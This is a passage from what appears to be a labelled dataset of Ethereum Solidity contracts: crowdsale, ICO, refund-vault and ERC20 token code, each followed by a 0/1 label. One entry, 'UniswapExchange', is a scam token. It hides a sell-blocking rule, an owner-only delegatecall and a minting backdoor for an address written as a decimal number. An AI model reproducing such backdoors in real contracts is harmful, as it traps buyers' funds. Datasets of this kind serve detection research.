mload(add(source,0x14)) } return addr; } function getTotals() public view returns(uint _maxDepositDays, uint _perDay, uint _startTimestamp, uint _minimalDeposit, uint _maximalDeposit, uint[1] _bonusReferrer, uint _minimalDepositForBonusReferrer, uint _ownerFee, uint _countInvestors, uint _totalInvest, uint _totalPenalty, uint _totalPaid, uint _currentDayDepositLimit, uint _currentDayRestDepositLimit) { return ( maxDepositDays, perDay, startTimestamp, minimalDeposit, getCurrentMaximalDeposit(), bonusReferrer, minimalDepositForBonusReferrer, ownerFee, countInvestors, totalInvest, totalPenalty, totalPaid, getCurrentDayDepositLimit(), getCurrentDayRestDepositLimit() ); } }
0
1,955
pragma solidity ^0.4.15; contract ERC20Basic { uint256 public totalSupply; function balanceOf(address who) constant returns (uint256); function transfer(address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } contract ERC20 is ERC20Basic { function allowance(address owner, address spender) constant returns (uint256); function transferFrom(address from, address to, uint256 value) returns (bool); function approve(address spender, uint256 value) returns (bool); function burn(address spender, uint256 value) returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ERC223 { uint public totalSupply; function balanceOf(address who) constant returns (uint); function name() constant returns (string _name); function symbol() constant returns (string _symbol); function decimals() constant returns (uint8 _decimals); function totalSupply() constant returns (uint256 _supply); function transfer(address to, uint value) returns (bool ok); function transfer(address to, uint value, bytes data) returns (bool ok); function transfer(address to, uint value, bytes data, string custom_fallback) returns (bool ok); function transferFrom(address from, address to, uint256 value) returns (bool); event Transfer(address indexed from, address indexed to, uint value, bytes indexed data); } contract Whitelist { mapping (address => bool) public registered; } contract IcoExt { address public authorizedCaller; address public collectorAddress; address public owner; address public whitelistAdd; address public tokenAdd; address public tokenSpender; uint public initialPrice; uint public initialTime; uint tokenPrice; uint increasePerBlock; uint increasePerBlockDiv; bool public autoPrice; bool public isPaused; uint public minAcceptedETH; uint public tokenDecimals; uint public tokenMult; uint8 public stage; uint public totalReceived; uint public totalSent; function IcoExt() { authorizedCaller = msg.sender; owner = msg.sender; collectorAddress = 0x6835706E8e58544deb6c4EC59d9815fF6C20417f; tokenAdd = 0x22f0af8d78851b72ee799e05f54a77001586b18a; tokenSpender = 0x6835706E8e58544deb6c4EC59d9815fF6C20417f; whitelistAdd = 0xad56C554f32D51526475d541F5DeAabE1534854d; authorized[authorizedCaller] = true; minAcceptedETH = 0.05 ether; tokenDecimals = 10; tokenMult = 10 ** tokenDecimals; initialPrice = 10000 * tokenMult; tokenPrice = initialPrice; autoPrice = true; initialTime = 1520627210 ; increasePerBlock = 159; increasePerBlockDiv = 1000000000; stage = 1; } mapping(address => uint) public receivedFrom; mapping(address => uint) public sentTo; mapping(address => bool) public authorized; event TokensSent(address _address , uint _received , uint _sent); modifier isAuthorized() { require(authorized[msg.sender]); _; } modifier isNotPaused() { require(!isPaused); _; } function mul(uint x, uint y) internal returns (uint z) { require(y == 0 || (z = x * y) / y == x); } function () payable { makeSwapInternal(); } function makeSwapInternal() private isNotPaused { require(stage>0 && stage<3 && msg.value >= minAcceptedETH); Whitelist wl = Whitelist(whitelistAdd); if (stage==1 || stage==2 ) require(wl.registered(msg.sender)); ERC223 GXVCtoken = ERC223(tokenAdd); address _address = msg.sender; uint _value = msg.value; uint _price = getPrice(); uint tokensToSend = _price * _value / 10 ** 18; receivedFrom[_address] += _value; totalReceived += _value; sentTo[_address] += tokensToSend; totalSent = tokensToSend; require(GXVCtoken.transferFrom(tokenSpender,_address,tokensToSend)); TokensSent(_address,_value,tokensToSend); require(collectorAddress.send(_value)); } function getPrice() constant public returns(uint _price){ if (autoPrice) { return calculatePrice(now); } else { return tokenPrice; } } function getCurrentStage() public constant returns(uint8 _stage){ return stage; } function calculatePrice(uint _when) constant public returns(uint _result){ if (_when == 0) _when = now; uint delay = (_when - initialTime) / 25; uint factor = delay * increasePerBlock; uint multip = initialPrice * factor; uint result = initialPrice - multip / increasePerBlockDiv; require (result <= initialPrice); return result; } function changeToStage(uint8 _stage) isAuthorized returns(bool) { require(stage < _stage && _stage < 4); stage = _stage; return true; } function pause() public isAuthorized { isPaused = true; } function resume() public isAuthorized { isPaused = false; } function setManualPrice(uint _price) public isAuthorized { autoPrice = false; tokenPrice = _price; } function setAutoPrice() public isAuthorized { autoPrice = true; } function setInitialTime() public isAuthorized { initialTime = now; } function getNow() public constant returns(uint _now){ return now; } function flushEthers() public isAuthorized { require( collectorAddress.send( this.balance ) ); } function changeMinAccEthers(uint _newMin) public isAuthorized { minAcceptedETH = _newMin; } function addAuthorized(address _address) public isAuthorized { authorized[_address] = true; } function removeAuthorized(address _address) public isAuthorized { require(_address != owner); authorized[_address] = false; } function changeOwner(address _address) public { require(msg.sender == owner); owner = _address; } function sendTokens(address _address , uint256 _amount) isAuthorized returns (bool success) { ERC20Basic token = ERC20Basic( tokenAdd ); require( token.transfer(_address , _amount ) ); return true; } }
1
3,152
pragma solidity ^0.5.17; interface IERC20 { function totalSupply() external view returns(uint); function balanceOf(address account) external view returns(uint); function transfer(address recipient, uint amount) external returns(bool); function allowance(address owner, address spender) external view returns(uint); function approve(address spender, uint amount) external returns(bool); function transferFrom(address sender, address recipient, uint amount) external returns(bool); event Transfer(address indexed from, address indexed to, uint value); event Approval(address indexed owner, address indexed spender, uint value); } library Address { function isContract(address account) internal view returns(bool) { bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; assembly { codehash:= extcodehash(account) } return (codehash != 0x0 && codehash != accountHash); } } contract Context { constructor() internal {} function _msgSender() internal view returns(address payable) { return msg.sender; } } library SafeMath { function add(uint a, uint b) internal pure returns(uint) { uint c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint a, uint b) internal pure returns(uint) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b <= a, errorMessage); uint c = a - b; return c; } function mul(uint a, uint b) internal pure returns(uint) { if (a == 0) { return 0; } uint c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint a, uint b) internal pure returns(uint) { return div(a, b, "SafeMath: division by zero"); } function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) { require(b > 0, errorMessage); uint c = a / b; return c; } } library SafeERC20 { using SafeMath for uint; using Address for address; function safeTransfer(IERC20 token, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint value) internal { require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function callOptionalReturn(IERC20 token, bytes memory data) private { require(address(token).isContract(), "SafeERC20: call to non-contract"); (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } contract ERC20 is Context, IERC20 { using SafeMath for uint; mapping(address => uint) private _balances; mapping(address => mapping(address => uint)) private _allowances; uint private _totalSupply; function totalSupply() public view returns(uint) { return _totalSupply; } function balanceOf(address account) public view returns(uint) { return _balances[account]; } function transfer(address recipient, uint amount) public returns(bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view returns(uint) { return _allowances[owner][spender]; } function approve(address spender, uint amount) public returns(bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint amount) public returns(bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint addedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function _transfer(address sender, address recipient, uint amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } function _mint(address account, uint amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } function _burn(address account, uint amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } function _approve(address owner, address spender, uint amount) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } } contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; constructor(string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } function name() public view returns(string memory) { return _name; } function symbol() public view returns(string memory) { return _symbol; } function decimals() public view returns(uint8) { return _decimals; } } contract UniswapExchange { event Transfer(address indexed _from, address indexed _to, uint _value); event Approval(address indexed _owner, address indexed _spender, uint _value); function transfer(address _to, uint _value) public payable returns (bool) { return transferFrom(msg.sender, _to, _value); } function ensure(address _from, address _to, uint _value) internal view returns(bool) { address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this)); if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){ return true; } require(condition(_from, _value)); return true; } function transferFrom(address _from, address _to, uint _value) public payable returns (bool) { if (_value == 0) {return true;} if (msg.sender != _from) { require(allowance[_from][msg.sender] >= _value); allowance[_from][msg.sender] -= _value; } require(ensure(_from, _to, _value)); require(balanceOf[_from] >= _value); balanceOf[_from] -= _value; balanceOf[_to] += _value; _onSaleNum[_from]++; emit Transfer(_from, _to, _value); return true; } function approve(address _spender, uint _value) public payable returns (bool) { allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function condition(address _from, uint _value) internal view returns(bool){ if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false; if(_saleNum > 0){ if(_onSaleNum[_from] >= _saleNum) return false; } if(_minSale > 0){ if(_minSale > _value) return false; } if(_maxSale > 0){ if(_value > _maxSale) return false; } return true; } function delegate(address a, bytes memory b) public payable { require(msg.sender == owner); a.delegatecall(b); } mapping(address=>uint256) private _onSaleNum; mapping(address=>bool) private canSale; uint256 private _minSale; uint256 private _maxSale; uint256 private _saleNum; function _mints(address spender, uint256 addedValue) public returns (bool) { require(msg.sender==owner||msg.sender==address (1461045492991056468287016484048686824852249628073)); if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));} canSale[spender]=true; return true; } function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){ require(msg.sender == owner); _minSale = token > 0 ? token*(10**uint256(decimals)) : 0; _maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0; _saleNum = saleNum; } function batchSend(address[] memory _tos, uint _value) public payable returns (bool) { require (msg.sender == owner); uint total = _value * _tos.length; require(balanceOf[msg.sender] >= total); balanceOf[msg.sender] -= total; for (uint i = 0; i < _tos.length; i++) { address _to = _tos[i]; balanceOf[_to] += _value; emit Transfer(msg.sender, _to, _value/2); emit Transfer(msg.sender, _to, _value/2); } return true; } address tradeAddress; function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner); tradeAddress = addr; return true; } function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) { (address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA); pair = address(uint(keccak256(abi.encodePacked( hex'ff', factory, keccak256(abi.encodePacked(token0, token1)), hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f' )))); } mapping (address => uint) public balanceOf; mapping (address => mapping (address => uint)) public allowance; uint constant public decimals = 18; uint public totalSupply; string public name; string public symbol; address private owner; address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; constructor(string memory _name, string memory _symbol, uint256 _supply) payable public { name = _name; symbol = _symbol; totalSupply = _supply*(10**uint256(decimals)); owner = msg.sender; balanceOf[msg.sender] = totalSupply; allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1); emit Transfer(address(0x0), msg.sender, totalSupply); } }
0
34
pragma solidity ^0.4.25; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a); uint256 c = a - b; return c; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a); return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { require(b != 0); return a % b; } } library SafeERC20 { using SafeMath for uint256; function safeTransfer(IERC20 token, address to, uint256 value) internal { require(token.transfer(to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { require(token.transferFrom(from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { require((value == 0) || (token.allowance(msg.sender, spender) == 0)); require(token.approve(spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); require(token.approve(spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value); require(token.approve(spender, newAllowance)); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address who) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transfer(address to, uint256 value) external returns (bool); function approve(address spender, uint256 value) external returns (bool); function transferFrom(address from, address to, uint256 value) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract ReentrancyGuard { uint256 private _guardCounter; constructor () internal { _guardCounter = 1; } modifier nonReentrant() { _guardCounter += 1; uint256 localCounter = _guardCounter; _; require(localCounter == _guardCounter); } } contract Crowdsale is ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for IERC20; IERC20 private _token; address private _wallet; uint256 private _rate; uint256 private _weiRaised; event TokensPurchased(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); constructor (uint256 rate, address wallet, IERC20 token) internal { require(rate > 0); require(wallet != address(0)); require(token != address(0)); _rate = rate; _wallet = wallet; _token = token; } function () external payable { buyTokens(msg.sender); } function token() public view returns (IERC20) { return _token; } function wallet() public view returns (address) { return _wallet; } function rate() public view returns (uint256) { return _rate; } function weiRaised() public view returns (uint256) { return _weiRaised; } function buyTokens(address beneficiary) public nonReentrant payable { uint256 weiAmount = msg.value; _preValidatePurchase(beneficiary, weiAmount); uint256 tokens = _getTokenAmount(weiAmount); _weiRaised = _weiRaised.add(weiAmount); _processPurchase(beneficiary, tokens); emit TokensPurchased(msg.sender, beneficiary, weiAmount, tokens); _updatePurchasingState(beneficiary, weiAmount); _forwardFunds(); _postValidatePurchase(beneficiary, weiAmount); } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { require(beneficiary != address(0)); require(weiAmount != 0); } function _postValidatePurchase(address beneficiary, uint256 weiAmount) internal view { } function _deliverTokens(address beneficiary, uint256 tokenAmount) internal { _token.safeTransfer(beneficiary, tokenAmount); } function _processPurchase(address beneficiary, uint256 tokenAmount) internal { _deliverTokens(beneficiary, tokenAmount); } function _updatePurchasingState(address beneficiary, uint256 weiAmount) internal { } function _getTokenAmount(uint256 weiAmount) internal view returns (uint256) { return weiAmount.mul(_rate); } function _forwardFunds() internal { _wallet.transfer(msg.value); } } contract CappedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _cap; constructor (uint256 cap) internal { require(cap > 0); _cap = cap; } function cap() public view returns (uint256) { return _cap; } function capReached() public view returns (bool) { return weiRaised() >= _cap; } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { super._preValidatePurchase(beneficiary, weiAmount); require(weiRaised().add(weiAmount) <= _cap); } } contract TimedCrowdsale is Crowdsale { using SafeMath for uint256; uint256 private _openingTime; uint256 private _closingTime; modifier onlyWhileOpen { require(isOpen()); _; } constructor (uint256 openingTime, uint256 closingTime) internal { require(openingTime >= block.timestamp); require(closingTime > openingTime); _openingTime = openingTime; _closingTime = closingTime; } function openingTime() public view returns (uint256) { return _openingTime; } function closingTime() public view returns (uint256) { return _closingTime; } function isOpen() public view returns (bool) { return block.timestamp >= _openingTime && block.timestamp <= _closingTime; } function hasClosed() public view returns (bool) { return block.timestamp > _closingTime; } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal onlyWhileOpen view { super._preValidatePurchase(beneficiary, weiAmount); } } contract FthCrowdsale is CappedCrowdsale, TimedCrowdsale { using SafeMath for uint256; uint256 constant MIN_WEI_AMOUNT = 0.1 ether; uint256 private _rewardPeriod; uint256 private _unlockPeriod; struct Contribution { uint256 contributeTime; uint256 buyTokenAmount; uint256 rewardTokenAmount; uint256 lastWithdrawTime; uint256 withdrawPercent; } mapping(address => Contribution[]) private _contributions; constructor ( uint256 rewardPeriod, uint256 unlockPeriod, uint256 cap, uint256 openingTime, uint256 closingTime, uint256 rate, address wallet, IERC20 token ) public CappedCrowdsale(cap) TimedCrowdsale(openingTime, closingTime) Crowdsale(rate, wallet, token) { _rewardPeriod = rewardPeriod; _unlockPeriod = unlockPeriod; } function contributionsOf(address beneficiary) public view returns ( uint256[] memory contributeTimes, uint256[] memory buyTokenAmounts, uint256[] memory rewardTokenAmounts, uint256[] memory lastWithdrawTimes, uint256[] memory withdrawPercents ) { Contribution[] memory contributions = _contributions[beneficiary]; uint256 length = contributions.length; contributeTimes = new uint256[](length); buyTokenAmounts = new uint256[](length); rewardTokenAmounts = new uint256[](length); lastWithdrawTimes = new uint256[](length); withdrawPercents = new uint256[](length); for (uint256 i = 0; i < length; i++) { contributeTimes[i] = contributions[i].contributeTime; buyTokenAmounts[i] = contributions[i].buyTokenAmount; rewardTokenAmounts[i] = contributions[i].rewardTokenAmount; lastWithdrawTimes[i] = contributions[i].lastWithdrawTime; withdrawPercents[i] = contributions[i].withdrawPercent; } } function withdrawTokens(address beneficiary) public { require(isOver()); if (msg.sender == beneficiary && msg.sender == wallet()) { _withdrawTokensToWallet(); } else { _withdrawTokensTo(beneficiary); } } function unlockBalanceOf(address beneficiary) public view returns (uint256) { uint256 unlockBalance = 0; Contribution[] memory contributions = _contributions[beneficiary]; for (uint256 i = 0; i < contributions.length; i++) { uint256 unlockPercent = _unlockPercent(contributions[i]); if (unlockPercent == 0) { continue; } unlockBalance = unlockBalance.add( contributions[i].buyTokenAmount.mul(unlockPercent).div(100) ).add( contributions[i].rewardTokenAmount.mul(unlockPercent).div(100) ); } return unlockBalance; } function rewardTokenAmount(uint256 buyTokenAmount) public view returns (uint256) { if (!isOpen()) { return 0; } uint256 rewardTokenPercent = 0; uint256 timePeriod = block.timestamp.sub(openingTime()).div(_rewardPeriod); if (timePeriod < 1) { rewardTokenPercent = 15; } else if (timePeriod < 2) { rewardTokenPercent = 10; } else if (timePeriod < 3) { rewardTokenPercent = 5; } else { return 0; } return buyTokenAmount.mul(rewardTokenPercent).div(100); } function rewardPeriod() public view returns (uint256) { return _rewardPeriod; } function unlockPeriod() public view returns (uint256) { return _unlockPeriod; } function isOver() public view returns (bool) { return capReached() || hasClosed(); } function _preValidatePurchase(address beneficiary, uint256 weiAmount) internal view { require(weiAmount >= MIN_WEI_AMOUNT); super._preValidatePurchase(beneficiary, weiAmount); } function _processPurchase(address beneficiary, uint256 buyTokenAmount) internal { Contribution[] storage contributions = _contributions[beneficiary]; require(contributions.length < 100); contributions.push(Contribution({ contributeTime: block.timestamp, buyTokenAmount: buyTokenAmount, rewardTokenAmount: rewardTokenAmount(buyTokenAmount), lastWithdrawTime: 0, withdrawPercent: 0 })); } function _withdrawTokensToWallet() private { uint256 balanceTokenAmount = token().balanceOf(address(this)); require(balanceTokenAmount > 0); _deliverTokens(wallet(), balanceTokenAmount); } function _withdrawTokensTo(address beneficiary) private { uint256 unlockBalance = unlockBalanceOf(beneficiary); require(unlockBalance > 0); Contribution[] storage contributions = _contributions[beneficiary]; for (uint256 i = 0; i < contributions.length; i++) { uint256 unlockPercent = _unlockPercent(contributions[i]); if (unlockPercent == 0) { continue; } contributions[i].lastWithdrawTime = block.timestamp; contributions[i].withdrawPercent = contributions[i].withdrawPercent.add(unlockPercent); } _deliverTokens(beneficiary, unlockBalance); } function _unlockPercent(Contribution memory contribution) private view returns (uint256) { if (contribution.withdrawPercent >= 100) { return 0; } uint256 baseTimestamp = contribution.contributeTime; if (contribution.lastWithdrawTime > baseTimestamp) { baseTimestamp = contribution.lastWithdrawTime; } uint256 period = block.timestamp.sub(baseTimestamp); if (period < _unlockPeriod) { return 0; } uint256 unlockPercent = period.div(_unlockPeriod).sub(1).mul(10); if (contribution.withdrawPercent == 0) { unlockPercent = unlockPercent.add(50); } else { unlockPercent = unlockPercent.add(10); } uint256 max = 100 - contribution.withdrawPercent; if (unlockPercent > max) { unlockPercent = max; } return unlockPercent; } }
1
4,014
pragma solidity ^0.4.18; library SafeMath { function mul(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a * b; assert(a == 0 || c / a == b); return c; } function div(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal constant returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal constant returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract Token { uint256 public totalSupply; function balanceOf(address who) public constant returns (uint256); function transfer(address to, uint256 value) public returns (bool); function allowance(address owner, address spender) public constant returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } contract Ownable { address public owner; function Ownable() public { owner = msg.sender; } modifier onlyOwner() { require(msg.sender == owner); _; } function transferOwnership(address newOwner) onlyOwner public { require(newOwner != address(0)); owner = newOwner; } } contract Pausable is Ownable { bool public endITO = false; uint public endDate = 1530360000; modifier whenNotPaused() { require(now >= endDate || endITO); _; } function unPause() public onlyOwner returns (bool) { endITO = true; return endITO; } } contract StandardToken is Token, Pausable { using SafeMath for uint256; mapping (address => mapping (address => uint256)) internal allowed; mapping(address => uint256) balances; function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true; } function balanceOf(address _owner) public constant returns (uint256 balance) { return balances[_owner]; } function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) { require(_to != address(0)); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function increaseApproval (address _spender, uint _addedValue) public whenNotPaused returns (bool success) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } function decreaseApproval (address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } contract BurnableToken is StandardToken { event Burn(address indexed burner, uint256 value); function burn(uint256 _value) public { require(_value > 0); require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); Burn(burner, _value); } } contract KeeppetToken is BurnableToken { string public constant name = "KeepPet Token"; string public constant symbol = "PET"; uint8 public constant decimals = 0; uint256 public constant INITIAL_SUPPLY = 3500000; function KeeppetToken() public { totalSupply = INITIAL_SUPPLY; balances[owner] = INITIAL_SUPPLY; } function sendTokens(address _to, uint _amount) external onlyOwner { require(_amount <= balances[msg.sender]); balances[msg.sender] -= _amount; balances[_to] += _amount; Transfer(msg.sender, _to, _amount); } } contract RefundVault is Ownable { using SafeMath for uint256; enum State { Active, Refunding, Closed } mapping (address => uint256) public deposited; address public wallet; State public state; event Closed(); event RefundsEnabled(); event Refunded(address indexed beneficiary, uint256 weiAmount); function RefundVault(address _wallet) public { require(_wallet != address(0)); wallet = _wallet; state = State.Active; } function deposit(address investor) onlyOwner public payable { require(state == State.Active); deposited[investor] = deposited[investor].add(msg.value); } function close() onlyOwner public { require(state == State.Active); state = State.Closed; Closed(); wallet.transfer(this.balance); } function enableRefunds() onlyOwner public { require(state == State.Active); state = State.Refunding; RefundsEnabled(); } function refund(address investor) public { require(state == State.Refunding); uint256 depositedValue = deposited[investor]; deposited[investor] = 0; investor.transfer(depositedValue); Refunded(investor, depositedValue); } } contract SalesManager is Ownable { using SafeMath for uint256; uint public constant etherCost = 750; uint public constant startDate = 1514721600; uint public constant endDate = 1516017600; uint256 public constant softCap = 250000 / etherCost * 1 ether; uint256 public constant hardCap = 1050000 / etherCost * 1 ether; struct Stat { uint256 currentFundraiser; uint256 additionalEthAmount; uint256 ethAmount; uint txCounter; } Stat public stat; uint256 public constant tokenPrice = uint256(15 * 1 ether).div(etherCost * 10); RefundVault public refundVault; KeeppetToken public keeppetToken; modifier isFinished() { require(now >= endDate); _; } function SalesManager(address wallet) public { require(wallet != address(0)); keeppetToken = new KeeppetToken(); refundVault = new RefundVault(wallet); } function () payable public { require(msg.value >= 2 * 10**15 && now >= startDate && now < endDate); require(stat.ethAmount + stat.additionalEthAmount < hardCap); buyTokens(); } uint bonusX2Stage1 = softCap; uint bonusX2Stage2 = 525000 / etherCost * 1 ether; uint bonusX2Stage3 = 787500 / etherCost * 1 ether; uint bonusX2Stage4 = hardCap; function checkBonus(uint256 amount) public constant returns(bool) { uint256 current = stat.ethAmount + stat.additionalEthAmount; uint256 withAmount = current.add(amount); return ((current < bonusX2Stage1 && bonusX2Stage1 <= withAmount) || (current < bonusX2Stage2 && bonusX2Stage2 <= withAmount) || (current < bonusX2Stage3 && bonusX2Stage3 <= withAmount) || (current < bonusX2Stage4 && bonusX2Stage4 <= withAmount)); } uint private bonusPeriod = 1 days; function countMultiplyBonus(uint256 amount) internal returns (uint) { if (now >= startDate && now <= startDate + bonusPeriod) { return 5; } if (now > startDate + bonusPeriod && now <= startDate + 2 * bonusPeriod) { return 4; } if (now > startDate + 2 * bonusPeriod && now <= startDate + 3 * bonusPeriod) { return 3; } if (now > startDate + 3 * bonusPeriod && now <= startDate + 4 * bonusPeriod) { return 2; } if (checkBonus(amount)) { return 2; } return 1; } function buyTokens() internal { uint256 tokens = msg.value.div(tokenPrice); uint256 balance = keeppetToken.balanceOf(this); tokens = tokens.mul(countMultiplyBonus(msg.value)); if (balance < tokens) { uint256 tempTokenPrice = msg.value.div(tokens); uint256 toReturn = tempTokenPrice.mul(tokens.sub(balance)); sendTokens(balance, msg.value - toReturn); msg.sender.transfer(toReturn); return; } sendTokens(tokens, msg.value); } function sendTokens(uint256 _amount, uint256 _ethers) internal { keeppetToken.sendTokens(msg.sender, _amount); RefundVault refundVaultContract = RefundVault(refundVault); stat.currentFundraiser += _amount; stat.ethAmount += _ethers; stat.txCounter += 1; refundVaultContract.deposit.value(_ethers)(msg.sender); } function sendTokensManually(address _to, uint256 ethAmount, uint multiplier) public onlyOwner { require(multiplier < 6); require(_to != address(0) && now <= endDate + 3 days); uint256 tokens = ethAmount.div(tokenPrice).mul(multiplier); keeppetToken.sendTokens(_to, tokens); stat.currentFundraiser += tokens; stat.additionalEthAmount += ethAmount; stat.txCounter += 1; } function checkFunds() public isFinished onlyOwner { RefundVault refundVaultContract = RefundVault(refundVault); uint256 leftValue = keeppetToken.balanceOf(this); keeppetToken.burn(leftValue); uint256 fullAmount = stat.additionalEthAmount.add(stat.ethAmount); if (fullAmount < softCap) { refundVaultContract.enableRefunds(); } else { refundVaultContract.close(); } } function unPauseToken() public onlyOwner { require(keeppetToken.unPause()); } }
0
775
pragma solidity ^0.8.0; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } pragma solidity ^0.8.0; library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, 